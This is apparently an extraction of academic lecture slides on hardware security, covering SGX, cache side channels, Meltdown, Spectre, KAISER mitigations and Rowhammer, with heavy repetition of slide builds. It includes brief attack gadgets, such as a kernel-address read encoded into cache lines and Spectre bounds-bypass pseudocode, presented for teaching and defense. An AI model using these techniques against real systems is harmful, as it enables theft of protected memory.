How the Hardware undermines Software Security

Daniel Gruss
March 25, 2019
Graz University of Technology
- Instruction-set extension
- Integrity and confidentiality of code and data in untrusted environments
- Run with user privileges and restricted, e.g., no system calls
- Run programs in enclaves using protected areas of memory
Application

Untrusted part

Create Enclave

Operating System
Application

Untrusted part

Create Enclave

Trusted part

Call Gate

Trusted Fnc.

Operating System
Application

Untrusted part

Create Enclave

Call Trusted Fnc.

Trusted part

Call Gate

Trusted Fnc.

Operating System

Daniel Gruss — Graz University of Technology
Application

Untrusted part

Create Enclave

Call Trusted Fnc.

Call Gate

Trusted part

Trusted Fnc.

Operating System
Application

Untrusted part

Create Enclave

Call Trusted Fnc.

Trusted part

Call Gate

Trusted Fnc.

Operating System

Daniel Gruss — Graz University of Technology
Application

Untrusted part

Create Enclave

Call Trusted Fnc.

Trusted part

Call Gate

Trusted Fnc.

Return

Operating System
SGX

Application

Untrusted part

Create Enclave

Call Trusted Fnc.

Trusted part

Call Gate

Trusted Fnc.

Return

Operating System

Daniel Gruss — Graz University of Technology
Application

Untrusted part

Create Enclave

Call Trusted Fnc.

... 

Trusted part

Call Gate

Trusted Fnc.

Return

Operating System

Daniel Gruss — Graz University of Technology
Application

Untrusted part

Create Enclave

Call Trusted Fnc.

...:

Trusted part

Call Gate

Trusted Fnc.

Return

Operating System

Daniel Gruss — Graz University of Technology
SGX Encrypted Memory

0 GB

16 GB

Daniel Gruss — Graz University of Technology
Stealing Bitcoins?
Stealing Bitcoins?
Stealing Bitcoins?

Daniel Gruss — Graz University of Technology
Stealing Bitcoins?
Stealing Bitcoins?
Revolutionary concept!
Store your food at home, never go to the grocery store during cooking.
Can store **ALL** kinds of food.

ONLY TODAY INSTEAD OF $1,300
ORDER VIA PHONE: +555 12345

$1,299
printf("%d", i);
printf("%d", i);
Cache miss

```c
printf("%d", i);
printf("%d", i);
```
CPU Cache

printf("%d", i);  
printf("%d", i);
CPU Cache

```
printf("%d", i);
printf("%d", i);
```

Cache miss

Request

Response
printf("%d", i);
printf("%d", i);
CPU Cache

```c
printf("%d", i);
printf("%d", i);
```

Cache miss

Cache hit

Request

Response
CPU Cache

```
printf("%d", i);
printf("%d", i);
```

Cache miss
Request
Response

Cache hit
No DRAM access, much faster
CPU Cache

DRAM access, slow

printf("%d", i);

Cache miss

printf("%d", i);

Cache hit

No DRAM access, much faster
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access

access
Flush+Reload

ATTACKER

flush
access

Shared Memory

cached

VICTIM

access

Shared Memory

cached
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access
Flush + Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

Shared Memory

VICTIM

flush
access
Flush + Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access

Victim accessed vs Victim did not access

Daniel Gruss — Graz University of Technology
• Very short timings

• `rdtsc` instruction: “cycle-accurate” timestamps

```c
[...]
rdtsc
function()
rdtsc
[...]
```
What are we measuring?

- Do you measure what you *think* you measure?
- *Out-of-order* execution $\rightarrow$ what is really executed?

```
rdtsc
function()
[...]
rdtsc
function()
```
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
• and/or use serializing instructions like `cpuid`
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
• and/or use serializing instructions like `cpuid`
• and/or use fences like `mfence`
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
• and/or use serializing instructions like `cpuid`
• and/or use fences like `mfence`

Intel Publishes Microcode Security Patches, No Benchmarking Or Comparison Allowed!

UPDATE: Intel has resolved their microcode licensing issue which I complained about in this blog post. The new license text is here.
Memory Access Latency

Access time [CPU cycles]

Number of accesses

- Cache Hits
- Cache Misses

Daniel Gruss — Graz University of Technology
Flush+Reload has beautifully nice timings, right?

Well... steps of 2-4 cycles

only 35-70 steps between hits and misses

On some devices only 1-2 steps!
Flush+Reload has beautifully nice timings, right? Well... steps of 2-4 cycles only 35-70 steps between hits and misses. On some devices only 1-2 steps!
Flush+Reload has beautifully nice timings, right? Well... steps of 2-4 cycles only 35-70 steps between hits and misses. On some devices only 1-2 steps!
Flush+Reload has beautifully nice timings, right?
Flush+Reload has beautifully nice timings, right?
Well... steps of 2-4 cycles
• Flush+Reload has beautifully nice timings, right?
• Well... steps of 2-4 cycles
  • only 35-70 steps between hits and misses
Flush+Reload has beautifully nice timings, right?
- Well... steps of 2-4 cycles
  - only 35-70 steps between hits and misses
- On some devices only 1-2 steps!
• We can build our own timer
• We can build our own timer
• Start a thread that continuously increments a global variable
• We can build our own timer
• Start a thread that continuously increments a global variable
• The global variable is our timestamp
ARE YOU REALLY EXPECTING TO OUTPERFORM THE HARDWARE COUNTER?
CPU cycles one increment takes

\[ \text{timestamp} = \text{rdtsc}() \]
CPU cycles one increment takes

```c
while(1) {
    timestamp++;
}
```
CPU cycles one increment takes

```
1 while (1) {
2    timestamp++;
3 }
```
CPU cycles one increment takes

\[ \text{rdtsc} \quad 3 \]

\[ C \quad 4.7 \]

Assembly

\begin{verbatim}
1 mov &timestamp, %rcx
2 1: incl (%rcx)
3 jmp 1b
\end{verbatim}
Self-built Timer

CPU cycles one increment takes

- rdtsc: 3
- C: 4.7
- Assembly: 4.67

1. mov &timestamp, %rcx
2. incl (%rcx)
3. jmp 1b
CPU cycles one increment takes

**rdtsc** 3

**C**

```
1 mov &timestamp, %rcx
2 1: inc %rax
3 mov %rax, (%rcx)
4 jmp 1b
```

**Assembly** 4.67

**Optimized**
Self-built Timer

CPU cycles one increment takes

<table>
<thead>
<tr>
<th>Method</th>
<th>Time (s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdtsc</td>
<td>3</td>
</tr>
<tr>
<td>C</td>
<td>4.7</td>
</tr>
<tr>
<td>Assembly</td>
<td>4.67</td>
</tr>
<tr>
<td>Optimized</td>
<td>0.87</td>
</tr>
</tbody>
</table>

1. `mov &timestamp, %rcx`
2. 1: `inc %rax`
3. `mov %rax, (%rcx)`
4. `jmp 1b`
WHY?
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks. It is the enclave developer’s responsibility to address side-channel attack concerns.
Protection from Side-Channel Attacks
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks.
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks. It is the enclave developer’s responsibility to address side-channel attack concerns.
CAN'T BREAK YOUR SIDE-CHANNEL PROTECTIONS

IF YOU DON'T HAVE ANY
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX

**Teechain**

[...] We assume the TEE guarantees to hold
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX

**Teechain**

[...] We assume the TEE guarantees to hold and do not consider side-channel attacks [5, 35, 46] on the TEE.
• Ledger SGX Enclave for blockchain applications
• BitPay Copay Bitcoin wallet
• Teechain payment channel using SGX

**Teechain**

[...] We assume the TEE guarantees to hold and do not consider side-channel attacks [5, 35, 46] on the TEE. Such attacks and their mitigations [36, 43] are outside the scope of this work. [...]
Attacking a weak RSA implementation inside SGX

Raw Prime+Probe trace...\(^1\)

Attacking a weak RSA implementation inside SGX

...processed with a simple moving average...\(^1\)

Attacking a weak RSA implementation inside SGX

...allows to clearly see the bits of the exponent\(^1\)

YOU CAN'T DO THAT!

THAT'S AGAINST THE RULES!
Back to Work
6. Cook everything until vegetables are soft.
7. Serve with cooked and peeled potatoes.
Wait for an hour
Wait for an hour

LATENCY
1. Wash and cut vegetables

2. Pick the basil leaves and set aside

3. Heat 2 tablespoons of oil in a pan

4. Fry vegetables until golden and softened
1. Wash and cut vegetables

2. Pick the basil leaves and set aside

3. Heat 2 tablespoons of oil in a pan

4. Fry vegetables until golden and softened
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);
int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
*(volatile char*) 0;
array[84 * 4096] = 0;
- Flush+Reload over all pages of the array

![Graph showing access time in cycles vs. page number]

Unreachable code line was actually executed
Exception was only thrown afterwards
- Flush+Reload over all pages of the array

- “Unreachable” code line was actually executed
• Flush+Reload over all pages of the array

• “Unreachable” code line was actually executed

• Exception was only thrown afterwards
Out-of-order instructions leave microarchitectural traces
• Out-of-order instructions *leave microarchitectural traces*
  • We can see them for example through the cache
Out-of-order instructions leave microarchitectural traces
• We can see them for example through the cache
• Give such instructions a name: transient instructions
Out-of-order instructions leave microarchitectural traces
- We can see them for example through the cache
- Give such instructions a name: transient instructions
- We can indirectly observe the execution of transient instructions
• Add another *layer of indirection* to test

```c
char data = *(char *) 0xffffffff81a000e0;
array[data * 4096] = 0;
```
• Add another *layer of indirection* to test

```c
char data = *(char*) 0xffffffff81a000e0;
array[data * 4096] = 0;
```

• Then check whether any part of array is *cached*
Building Meltdown

- Flush+Reload over all pages of the array

- Index of cache hit reveals data
Building Meltdown

- Flush+Reload over all pages of the array

- Index of cache hit reveals data

- Permission check is in some cases not fast enough
I SHIT YOU NOT

THERE WAS KERNEL MEMORY ALL OVER THE TERMINAL
used with authorization from Sili
con Graphics, Inc. However,
the authors make no claim that Mes
sa. is in any way a compatible
replacement for OpenGL or associ
ated with. Silicon Graphics, Inc

... This versi
on of Mesa pro
vides GLX and DRI capabilities: it is capable of.
both direct and
indirect renderi
ng. For direct
rendering, it can
use DRI. modul
es from the libg
Kernel Address Isolation to have Side channels Efficiently Removed
Kernel Address Isolation to have Side channels Efficiently Removed
Without KAISER:

Shared address space

User memory

Kernel memory

context switch

With KAISER:

User address space

Not mapped

Kernel address space

SMAP + SMEP

context switch

Interrupt dispatcher
Without KAISER:

Shared address space

User memory ➔ Kernel memory

context switch

With KAISER:

User address space

User memory ➔ Not mapped

context switch

SMAP + SMEP ➔ Kernel memory

Interrupt dispatcher

addr. space

addr. space

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

Our patch Adopted in

Linux

Windows

OSX/iOS

now in every computer

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS
KAI SER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

→ now in every computer
»A table for 6 please«
Speculative Cooking
»A table for 6 please«
index = 0;

char* data = "textKEY";

if (index < 4)

    then

        LUT[data[index] * 4096]

    else

        Prediction

    0
index = 0;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 0;

char* data = "textKEY";

if (index < 4)
{
    LUT[data[index] * 4096]
}
else
{
    Speculate
}

Prediction

then

else

0
index = 0;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 1;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0
index = 1;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 1;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 1;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    else
        0

Prediction
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
0
index = 2;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
index = 2;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]
index = 2;

char* data = "textKEY";

if (index < 4)
  then
    LUT[data[index] * 4096]
  else
    0

Prediction
index = 3;

char* data = "textKEY";

if (index < 4)
then
    LUT[data[index] * 4096]
else
    0

Prediction
```c
index = 3;
char* data = "textKEY";
if (index < 4)
    LUT[data[index] * 4096]
else
    0
```
index = 3;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 3;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
0

Prediction
index = 4;

char* data = "textKEY";

if (index < 4)

    LUT[data[index] * 4096]

else

    0
index = 4;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 4;

char* data = "textKEY";

if (index < 4) {
    LUT[data[index] * 4096]
} else {
    0
}
index = 5;

char* data = "textKEY";

if (index < 4) then

LUT[data[index] * 4096]

else

0

Prediction
index = 5;

char* data = "textKEY";

if (index < 4) then

LUT[data[index] * 4096]

else

0

Prediction
index = 5;

char* data = "textKEY";

if (index < 4)
    then
        LUT[data[index] * 4096]
    Prediction
else
    0
index = 5;

char* data = "textKEY";

if (index < 4)
then

LUT[data[index] * 4096]

else

0

Prediction

Execute
index = 6;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0

Prediction
index = 6;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
    0
Prediction
index = 6;

char* data = "textKEY";

if (index < 4)
    Speculate

    then
        LUT[data[index] * 4096]

    else
        Prediction

        0
index = 6;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    Execute 0
Operation #n

Prediction

Operation #n+2

Flush pipeline on wrong prediction

Possibly architectural transient execution
Meltdown

operation #n

exception

data

possibly architectural
transient execution
data dependency

operation #n+2

retire

raise

Meltdown

time

possibly architectural
transient execution
data dependency
Mistraining Location

Victim

out-of-place/same-address-space

Congruent branch

Address collision

Victim branch

Attacker

out-of-place/cross-address-space

Congruent branch

Address collision

Shadow branch

in-place/cross-address-space

Shared Branch Prediction State
Classification Tree

Transient cause?

Spectre-type microarchitectural buffer

Meltdown-type fault type

Spectre-PHT
Spectre-BTB
Spectre-RSB
Spectre-STL [32]

Cross-address-space
Same-address-space

PHT-CA-IP ★
PHT-CA-OP ★
PHT-SA-IP [54, 52]
PHT-SA-OP ★
BTB-CA-IP [54, 18]
BTB-CA-OP [54]
BTB-SA-IP ★
BTB-SA-OP [18]
RSB-CA-IP [64, 56]
RSB-CA-OP [56]
RSB-SA-IP [64]
RSB-SA-OP [64, 56]

Meltdown-NM [86]
Meltdown-AC ★
Meltdown-DE ★
Meltdown-PF
Meltdown-UD ★
Meltdown-SS ★
Meltdown-BR
Meltdown-GP [10, 41]

Meltdown-US [61]
Meltdown-P [93, 96]
Meltdown-RW [52]
Meltdown-PK ★
Meltdown-XD ★
Meltdown-SM ★
Meltdown-MPX [44]
Meltdown-BND ★
Computer Architecture Today

Informing the broad computing community about current activities, advances and future directions in computer architecture.

Let’s Keep it to Ourselves: Don’t Disclose Vulnerabilities

by Gus Uht on Jan 31, 2019 | Tags: Opinion, Security

CONTRIBUTE

Editor: Alvin R. Lebeck
Associate Editor: Vijay Janapa Reddi

Contribute to Computer Architecture Today
<table>
<thead>
<tr>
<th>Attack</th>
<th>Defense</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>IBPB</th>
<th>STIPB</th>
<th>IBRS/SSBB</th>
<th>SSB</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD/SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>Intel</td>
<td>Spectre-PHT</td>
<td>☐ ☐ ☐ ☐ ☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-BTB</td>
<td>☐ ☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-RSB</td>
<td>☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-STL</td>
<td>☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ARM</td>
<td>Spectre-PHT</td>
<td>☐ ☐ ☐ ☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-BTB</td>
<td>☐ ☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-RSB</td>
<td>☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-STL</td>
<td>☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AMD</td>
<td>Spectre-PHT</td>
<td>☐ ☐ ☐ ☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-BTB</td>
<td>☐ ☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-RSB</td>
<td>☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-STL</td>
<td>☐ ☐ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦ ☦</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Defense</td>
<td>Impact</td>
<td>Performance Loss</td>
<td>Benchmark</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>------------------</td>
<td>-------------------------</td>
<td>------------------</td>
<td>------------------------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>InvisiSpec</td>
<td>22%</td>
<td>SPEC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SafeSpec</td>
<td>3% (improvement)</td>
<td>SPEC2017 on MARSSx86</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>DAWG</td>
<td>2–12%, 1–15%</td>
<td>PARSEC, GAPBS</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>RSB Stuffing</td>
<td>no reports</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Retpoline</td>
<td>5–10%</td>
<td>real-world workload servers</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Site Isolation</td>
<td>only memory overhead</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SLH</td>
<td>36.4%, 29%</td>
<td>Google microbenchmark suite</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>YSNB</td>
<td>60%</td>
<td>Phoenix</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IBRS</td>
<td>20–30%</td>
<td>two sysbench 1.0.11 benchmarks</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>STIPB</td>
<td>30–50%</td>
<td>Rodinia OpenMP, DaCapo</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>IBPB</td>
<td>no individual reports</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Serialization</td>
<td>62%, 74.8%</td>
<td>Google microbenchmark suite</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SSBD/SSBB</td>
<td>2–8%</td>
<td>SYSmark®2014 SE &amp; SPEC integer</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>KAISER/KPTI</td>
<td>0–2.6%</td>
<td>system call rates</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>L1TF mitigations</td>
<td>-3–31%</td>
<td>various SPEC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
What if we want to modify data?
DRAM organization

channel 0

channel 1

back of DIMM: rank 1

front of DIMM: rank 0
DRAM organization

channel 0

channel 1
DRAM organization

Channel 0

Back of DIMM: rank 1

Front of DIMM: rank 0

Channel 1
DRAM organization

channel 0

channel 1

back of DIMM: rank 1

front of DIMM: rank 0

chip
DRAM organization

Bank 0

row 0
row 1
row 2
...
row 32767

row buffer
DRAM organization

chip

bank 0

- row 0
- row 1
- row 2
- ...
- row 32767
- row buffer

64k cells
1 capacitor,
1 transitor each
- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
Rowhammer

- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
Rowhammer

- Cells leak $\rightarrow$ repetitive refresh necessary
- Maximum interval between refreshes to guarantee data integrity
- Cells leak faster upon proximate accesses $\rightarrow$ Rowhammer
There are two different hammering techniques:

1. Hammer one row next to victim row and other random rows
2. Hammer two rows neighboring victim row
3. Hammer only one row next to victim row
There are two different hammering techniques

#1: Hammer one row next to victim row and other random rows
There are two different hammering techniques

#1: Hammer one row next to victim row and other random rows

#2: Hammer two rows neighboring victim row
Hammering techniques

- There are three different hammering techniques
  - #1: Hammer one row next to victim row and other random rows
  - #2: Hammer two rows neighboring victim row
  - #3: Hammer only one row next to victim row
#1 - Single-sided hammering

![Diagram of DRAM bank with 1s and 0s indicating memory activation]

Daniel Gruss — Graz University of Technology
#1 - Single-sided hammering

DRAM bank

activate

```
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
```

Daniel Gruss — Graz University of Technology
#1 - Single-sided hammering

DRAM bank

activate

1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
#1 - Single-sided hammering

![Diagram of DRAM bank with bits](image-url)
#1 - Single-sided hammering

DRAM bank

activate
#1 - Single-sided hammering

![DRAM bank diagram]

Daniel Gruss — Graz University of Technology
#2 - Double-sided hammering

![DRAM bank diagram]

- Activate

Daniel Gruss — Graz University of Technology
#2 - Double-sided hammering

[Diagram of a DRAM bank with hexadecimal values and an arrow labeled 'activate']

Daniel Gruss — Graz University of Technology
#2 - Double-sided hammering

![Diagram of a DRAM bank with activated rows highlighted.](image-url)
Double-sided hammering

DRAM bank

activate
#2 - Double-sided hammering

![Diagram of a DRAM bank with highlighted rows indicating activation]
#2 - Double-sided hammering

![Diagram of a DRAM bank with bit flips](image)

- DRAM bank
- Activate
- Bit flips
One-location hammering

DRAM bank

activate

